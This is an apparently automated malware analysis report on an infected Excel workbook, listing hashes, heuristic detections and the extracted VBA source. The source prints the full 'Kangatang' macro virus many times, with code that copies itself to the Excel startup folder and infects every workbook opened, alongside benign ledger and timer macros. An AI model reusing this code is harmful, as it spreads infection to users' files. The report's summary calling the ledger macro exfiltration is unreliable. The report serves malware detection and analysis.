Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 2daec5e2369c1fd0…

MALICIOUS

Office (OOXML)

2.40 MB Created: 2006-09-13 11:21:51 UTC Authoring application: Microsoft Excel 14.0300 First seen: 2020-11-23
MD5: 457c51bad261cede2b9e41d2190fb534 SHA-1: b71bbfae2a860301afe4e180e52d5fece1a7b955 SHA-256: 2daec5e2369c1fd0c30afa1950d9af4a86f612755bae915de378666919f52d6e
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The sample contains VBA macros that execute upon opening the workbook. These macros are designed to open a remote workbook located at \\10.8.0.120\技术体系劳保专用\试验中心\2020年试验车辆管理与临牌办理台账.xlsx, clear its contents, and then populate it with data from another remote workbook. This behavior suggests an attempt to exfiltrate data or establish a backdoor by manipulating remote files. The presence of Workbook_Open and potential persistence mechanisms like copying to XLSTART indicate a malicious intent.

Heuristics 10

  • ClamAV: Xls.Virus.Valyria-10004391-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Virus.Valyria-10004391-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
    'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
  • VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADER
    The macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.
    Matched line in script
        Application.OnSheetActivate = ""
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • External hyperlinks (1) low OOXML_EXTERNAL_HYPERLINKS
    Document contains 1 external hyperlink — clickable URLs are stored as external relationships. First target: http://ekp.yutong.com/ekp/km/doc/km_doc_knowledge/kmDocKnowledge.do?method=view&fdId=152827a6678790626e6c0784a589b268
  • External workbook data link low OOXML_EXTERNAL_REL_DATALINK
    External workbook reference in xl/externalLinks/_rels/externalLink1.xml.rels: /Users/jinyla/Desktop/副本2020年产品验证计划表.xlsm
  • Hidden worksheet (hidden, veryHidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 41 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ekp.yutong.com/ekp/km/doc/km_doc_knowledge/kmDocKnowledge.do?method=view&fdId=152827a6678790626e6c0784a589b268 Document hyperlink
    • http://ekp.yutong.com/ekp/km/review/km_review_main/kmReviewMain.do?method=view&fdId=153552958de3b24615d12d44dea855f7Document hyperlink
    • http://eip.yutong.com/ekp/km/review/km_review_main/kmReviewMain.do?method=view&fdId=153a25fd2b891cc6cdad3ce4e5f93738Document hyperlink
    • http://ekp.yutong.com/ekp/km/review/km_review_main/kmReviewMain.do?method=view&fdId=1537e3ceda54382596640794c9bad6d7¬ifyType=2Document hyperlink
    • http://ekp.yutong.com/ekp/km/review/km_review_main/kmReviewMain.do?method=view&fdId=153403161e52f9e8c052ef344c1b94f1&s_css=defaultDocument hyperlink
    • http://ekp.yutong.com/ekp/km/review/km_review_main/kmReviewMain.do?method=view&fdId=153643f6795e6b6b7632c534551bfa98Document hyperlink

Extracted artifacts 19

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 46709 bytes
SHA-256: cc493576883c8b0885916370dc28f1c5e1e7b08f0b88bcacf3a52cf32a03c6c9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub Workbook_BeforeClose(Cancel As Boolean)
    On Error Resume Next
     Application.OnTime EarliestTime:=TimeValue(Runtime), _
           Procedure:="计时器", Schedule:=False

     Application.OnTime EarliestTime:=TimeValue(PRuntime), _
           Procedure:="倒计时", Schedule:=False
    On Error GoTo 0
End Sub

Private Sub Workbook_Open()
Call 倒计时初始时间
End Sub

Private Sub Workbook_SheetSelectionChange(ByVal Sh As Object, ByVal Target As Range)
   Call 倒计时起始时间设置
End Sub





Attribute VB_Name = "模块5"
Sub 临牌()
Attribute 临牌.VB_ProcData.VB_Invoke_Func = " \n14"
'
' 临牌 Macro
'

'
     
    Workbooks.Open Filename:= _
        "\\10.8.0.120\技术体系劳保专用\试验中心\2020年试验车辆管理与临牌办理台账.xlsx" '临牌保险文件名称如有变化需要更新，后面还有8处注意同时修改
   Windows("2020年产品验证计划表.xlsm").Activate
    Sheets("临牌保险").Select
     Range("A2:N2000").Select
    Selection.ClearContents
    
     Range("O1").Select
    ActiveCell.FormulaR1C1 = _
        "=IF('\\10.8.0.120\技术体系劳保专用\试验中心\[2020年试验车辆管理与临牌办理台账.xlsx]临牌保险台账'!C2="","",TRIM('\\10.8.0.120\技术体系劳保专用\试验中心\[2020年试验车辆管理与临牌办理台账.xlsx]临牌保险台账'!C2))"
    Range("C2").Select
    ActiveCell.FormulaR1C1 = _
        "=IF('\\10.8.0.120\技术体系劳保专用\试验中心\[2020年试验车辆管理与临牌办理台账.xlsx]临牌保险台账'!RC="""","""",TRIM('\\10.8.0.120\技术体系劳保专用\试验中心\[2020年试验车辆管理与临牌办理台账.xlsx]临牌保险台账'!RC))"
    Range("O2").Select
    ActiveCell.FormulaR1C1 = "IF($C2="""","""",TRIM('\\10.8.0.120\技术体系劳保专用\试验中心\[2020年试验车辆管理与临牌办理台账.xlsx]临牌保险台账'!A2)）"
    Range("A2").Select
    ActiveCell.FormulaR1C1 = "=IF(RC3="""","""",'\\10.8.0.120\技术体系劳保专用\试验中心\[2020年试验车辆管理与临牌办理台账.xlsx]临牌保险台账'!RC）"
    Range("A2").Select
    Selection.AutoFill Destination:=Range("A2:B2"), Type:=xlFillDefault
    Range("A2:B2").Select
    Range("A2").Select
    Selection.Copy
    Range("D2").Select
    ActiveSheet.Paste
    Application.CutCopyMode = False
    Selection.AutoFill Destination:=Range("D2:N2"), Type:=xlFillDefault
    Range("D2:N2").Select
    Range("C2").Select
    Selection.AutoFill Destination:=Range("C2:C3000"), Type:=xlFillDefault
    Range("C2:C3000").Select
    Range("A2:B2").Select
    Selection.AutoFill Destination:=Range("A2:B3000")
    Range("A2:B3000").Select
    Range("D2:N2").Select
    Selection.AutoFill Destination:=Range("D2:N3000")
    ActiveWorkbook.RefreshAll
End Sub

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "模块6"

Sub hiddenLie()
Dim i As Long
Dim j As Long
Dim m As Long
Dim n As Long
Dim f As Long
Dim endColumn As Integer
Dim myRange As Range
Dim myRange1 As Range
Set myRange1 = Cells(1, 17)
myRange1.Select
With Selection
        .HorizontalAlignment = xlGeneral
        .VerticalAlignment = xlCenter
        .WrapText = True
        .Orientation = 0
        .AddIndent = False
        .IndentLevel = 0
        .ShrinkToFit = False
        .ReadingOrder = xlContext
        .MergeCells = True
    End With
    Selection.UnMerge
    
Range("Q2:" & Sheet8.Cells(7, 2).Value).Select 'Q2为增删列时需要修改的内容
 Selection.EntireColumn.Hidden = True


Set myRange = Rows(2)
endColumn = WorksheetFunction.CountA(myRange)
Range("Q1:" & Sheet8.Cells(5, 2).Value).Select 'Q1为增删列时需要修改的内容
    With Selection
        .HorizontalAlignment = xlCenter
        .VerticalAlignment = xlCenter
        .WrapText = True
        .Orientation = 0
        .AddIndent = False
        .IndentLevel = 0
        .ShrinkToFit = False
        .ReadingOrder = xlContext
        .MergeCells = False
    End With
    Selection.Merge
End Sub


Attribute VB_Name = "Sheet5"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "HTMLHidden11, 23, 0, MSForms, HTMLHidden"
Attribute VB_Control = "HTMLHidden10, 22, 1, MSForms, HTMLHidden"
Attribute VB_Control = "HTMLHidden9, 11, 2, MSForms, HTMLHidden"
Attribute VB_Control = "HTMLHidden8, 1, 3, MSForms, HTMLHidden"
Attribute VB_Control = "HTMLHidden7, 2, 4, MSForms, HTMLHidden"
Attribute VB_Control = "HTMLHidden6, 3, 5, MSForms, HTMLHidden"
Attribute VB_Control = "HTMLHidden5, 4, 6, MSForms, HTMLHidden"
Attribute VB_Control = "HTMLHidden4, 5, 7, MSForms, HTMLHidden"
Attribute VB_Control = "HTMLHidden3, 6, 8, MSForms, HTMLHidden"
Attribute VB_Control = "HTMLHidden2, 7, 9, MSForms, HTMLHidden"
Attribute VB_Control = "HTMLHidden1, 8, 10, MSForms, HTMLHidden"

Attribute VB_Name = "Sheet15"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet7"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "模块1"
Public Runtime, Lasttime, Closetime, PRuntime
Sub 计时器()
  If Now >= Lasttime Then
  Closetime = Lasttime + TimeValue("00:01:00") '此处修改倒计时时间，本定时器设置倒计时2分钟
  Userform1.Show
   Call 倒计时
   Exit Sub
  End If
  Runtime = Lasttime
  Application.OnTime Runtime, "计时器"
End Sub
 Sub 倒计时初始时间()
 Lasttime = Now + TimeValue("00:01:00")
Call 计时器
End Sub
Sub 倒计时起始时间设置()
    Lasttime = Now + TimeValue("00:10:00") '此处修改倒计时起始时间。
End Sub
Sub 倒计时()
Userform1.Label1.Caption = "离关闭时间还剩" & Chr(10) & Format(Closetime - Now, "hh:mm:ss")
If Closetime - Now > TimeValue("00:01:00") Then
   PRuntime = Now + TimeValue("00:01:00") '设置倒计时时钟变化量为1分钟
Else
   PRuntime = Now + TimeValue("00:00:01") '设置倒计时时钟变化量为1秒钟
End If
  If Now >= Closetime Then
     On Error Resume Next
      Unload Userform1
      ThisWorkbook.Save '此句为保存文件，如需可改写其它语句。
      If Application.Windows.Count = 1 Then
        Application.Quit
      Else
         ThisWorkbook.Close True  '此句为保存文件，如需可改写保存语句。
      End If
      On Error GoTo 0
      Exit Sub
  End If
    Application.OnTime PRuntime, "倒计时"
End Sub


Attribute VB_Name = "模块2"
Sub 取消隐藏()
'
' 取消隐藏 Macro
'

'
    Range("Q2:" & Sheet8.Cells(5, 2).Value).Select 'Q2为增删列时需要修改的内容
 Selection.EntireColumn.Hidden = True
    Selection.EntireColumn.Hidden = False
    ActiveWindow.ScrollColumn = Sheet8.Cells(8, 2) - 5
    
End Sub

Attribute VB_Name = "Sheet8"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet9"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet10"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "模块3"
Sub cmz()
'
' cmz Macro
' 出门证
'

'
    Dim m As Long
    Dim n As Long
    Dim myRange As Range
    
    m = WorksheetFunction.Max(Range("L4:L20")) - 1
    For n = 1 To m
    Rows("1:9").Select
    Range("E1").Activate
    Selection.Copy
    Cells(10 * n + 1, 1).Select
    Selection.PasteSpecial Paste:=xlPasteFormats, Operation:=xlNone, _
    SkipBlanks:=False, Transpose:=False
    
    Range("A1:G9").Select
    Range("E9").Activate
    Application.CutCopyMode = False
    Selection.Copy
    
    Cells(10 * n + 1, 1).Select
    ActiveSheet.Paste
    Sheets("出门证").Select
    Application.CutCopyMode = False
    Sheets("出门证").Select
    Next
    For n = 1 To m + 1
    Cells(10 * (n - 1) + 3, 5).Value = Cells(n + 4, 17).Value
    Cells(10 * (n - 1) + 6, 2).Value = Cells(n + 4, 15).Value
    Cells(10 * (n - 1) + 6, 3).Value = Cells(n + 4, 13).Value
    Cells(10 * (n - 1) + 6, 4).Value = Cells(n + 4, 14).Value
    Cells(10 * (n - 1) + 9, 2).Value = Cells(n + 4, 16).Value
    Next
   End Sub
Sub tcd()
'
' tcd Macro
' 提车单
'

'
    Dim m As Long
    Dim n As Long
    Dim myRange As Range
    
    m = WorksheetFunction.Max(Range("L4:L20")) - 1
    For n = 1 To m
    Rows("1:9").Select
    Range("E1").Activate
    Selection.Copy
    Cells(10 * n + 1, 1).Select
    Selection.PasteSpecial Paste:=xlPasteFormats, Operation:=xlNone, _
    SkipBlanks:=False, Transpose:=False
    
    Range("A1:G9").Select
    Range("E9").Activate
    Application.CutCopyMode = False
    Selection.Copy
    
    Cells(10 * n + 1, 1).Select
    ActiveSheet.Paste
    Sheets("提车单").Select
    Application.CutCopyMode = False
    Sheets("提车单").Select
    Next
    For n = 1 To m + 1
    Cells(10 * (n - 1) + 4, 4).Value = Cells(n + 4, 16).Value
    Cells(10 * (n - 1) + 5, 2).Value = Cells(n + 4, 13).Value
    Cells(10 * (n - 1) + 6, 2).Value = Cells(n + 4, 14).Value
    Cells(10 * (n - 1) + 9, 2).Value = Cells(n + 4, 17).Value
    
    Next
   End Sub



Attribute VB_Name = "模块4"
Sub cmzclear()
'
' cmzclear Macro
'

'
    Range("A10:G1000").Select
    Selection.Delete Shift:=xlUp
    Range("B6:D9").Select
    Selection.ClearContents
    Range("E3:G3").Select
    Selection.ClearContents
End Sub
Sub tcdclear()
'
' tcdclear Macro
'

'
    Range("A10:D1000").Select
    Selection.Delete Shift:=xlUp
    Range("B9").Select
    Selection.ClearContents
    
    Range("B5:B6").Select
    Selection.ClearContents
    Range("D4").Select
    Selection.ClearContents
    
End Sub

Attribute VB_Name = "Sheet11"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet12"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet13"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet4"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Userform1"
Attribute VB_Base = "0{65337949-5D39-45E9-A122-79638231415C}{7FD4B158-36D9-4A63-AF3F-8324F042DE37}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Private Sub Label1_Click()
'Lasttime = "11"
Unload Userform1
Call 计时器 '临时添加，待确定是否有用
End Sub

Private Sub Userform1_Click()
'Lasttime = "11"
Unload Userform1
Call 计时器 '临时添加，待确定是否有用
End Sub

Private Sub UserForm1_QueryClose(Cancel As Integer, CloseMode As Integer)
    On Error Resume Next
     Application.OnTime EarliestTime:=TimeValue(PRuntime), _
           Procedure:="倒计时", Schedule:=False
    On Error GoTo 0
'  rr = Closetime
'pp = Now
'dd = Lasttime
  If Now < Closetime Then

    Call 倒计时初始时间
  End If
End Sub

Attribute VB_Name = "Sheet14"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Kangatang"

Sub Auto_Open()
'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel.xls"
    Windows(1).Visible = True
End If

    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub

Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
    Application.ScreenUpdating = False
    currentsh = ActiveSheet.Name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    ActiveWorkbook.Sheets(currentsh).Select
    Application.ScreenUpdating = True
  End If
End Sub

Attribute VB_Name = "Kangatang_2"

Sub Auto_Open()
'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel.xls"
    Windows(1).Visible = True
End If

    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub

Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
    Application.ScreenUpdating = False
    currentsh = ActiveSheet.Name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    ActiveWorkbook.Sheets(currentsh).Select
    Application.ScreenUpdating = True
  End If
End Sub

Attribute VB_Name = "Kangatang_3"

Sub Auto_Open()
'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel.xls"
    Windows(1).Visible = True
End If

    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub

Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
    Application.ScreenUpdating = False
    currentsh = ActiveSheet.Name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    ActiveWorkbook.Sheets(currentsh).Select
    Application.ScreenUpdating = True
  End If
End Sub

Attribute VB_Name = "Kangatang_4"

Sub Auto_Open()
'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel.xls"
    Windows(1).Visible = True
End If

    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub

Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
    Application.ScreenUpdating = False
    currentsh = ActiveSheet.Name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    ActiveWorkbook.Sheets(currentsh).Select
    Application.ScreenUpdating = True
  End If
End Sub

Attribute VB_Name = "Kangatang_5"

Sub Auto_Open()
'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel.xls"
    Windows(1).Visible = True
End If

    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub

Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
    Application.ScreenUpdating = False
    currentsh = ActiveSheet.Name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    ActiveWorkbook.Sheets(currentsh).Select
    Application.ScreenUpdating = True
  End If
End Sub

Attribute VB_Name = "Kangatang_6"

Sub Auto_Open()
'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel.xls"
    Windows(1).Visible = True
End If

    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub

Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
    Application.ScreenUpdating = False
    currentsh = ActiveSheet.Name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    ActiveWorkbook.Sheets(currentsh).Select
    Application.ScreenUpdating = True
  End If
End Sub

Attribute VB_Name = "Kangatang_7"

Sub Auto_Open()
'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel.xls"
    Windows(1).Visible = True
End If

    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub

Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
    Application.ScreenUpdating = False
    currentsh = ActiveSheet.Name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    ActiveWorkbook.Sheets(currentsh).Select
    Application.ScreenUpdating = True
  End If
End Sub

Attribute VB_Name = "Kangatang_8"

Sub Auto_Open()
'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel.xls"
    Windows(1).Visible = True
End If

    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub

Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
    Application.ScreenUpdating = False
    currentsh = ActiveSheet.Name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    ActiveWorkbook.Sheets(currentsh).Select
    Application.ScreenUpdating = True
  End If
End Sub

Attribute VB_Name = "Kangatang_9"

Sub Auto_Open()
'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel.xls"
    Windows(1).Visible = True
End If

    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub

Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
    Application.ScreenUpdating = False
    currentsh = ActiveSheet.Name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    ActiveWorkbook.Sheets(currentsh).Select
    Application.ScreenUpdating = True
  End If
End Sub

Attribute VB_Name = "Kangatang_10"

Sub Auto_Open()
'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel.xls"
    Windows(1).Visible = True
End If

    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub

Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
    Application.ScreenUpdating = False
    currentsh = ActiveSheet.Name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    ActiveWorkbook.Sheets(currentsh).Select
    Application.ScreenUpdating = True
  End If
End Sub

Attribute VB_Name = "Kangatang_11"

Sub Auto_Open()
'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel.xls"
    Windows(1).Visible = True
End If

    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub

Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
    Application.ScreenUpdating = False
    currentsh = ActiveSheet.Name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    ActiveWorkbook.Sheets(currentsh).Select
    Application.ScreenUpdating = True
  End If
End Sub

Attribute VB_Name = "Kangatang_12"

Sub Auto_Open()
'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel.xls"
    Windows(1).Visible = True
End If

    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub

Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
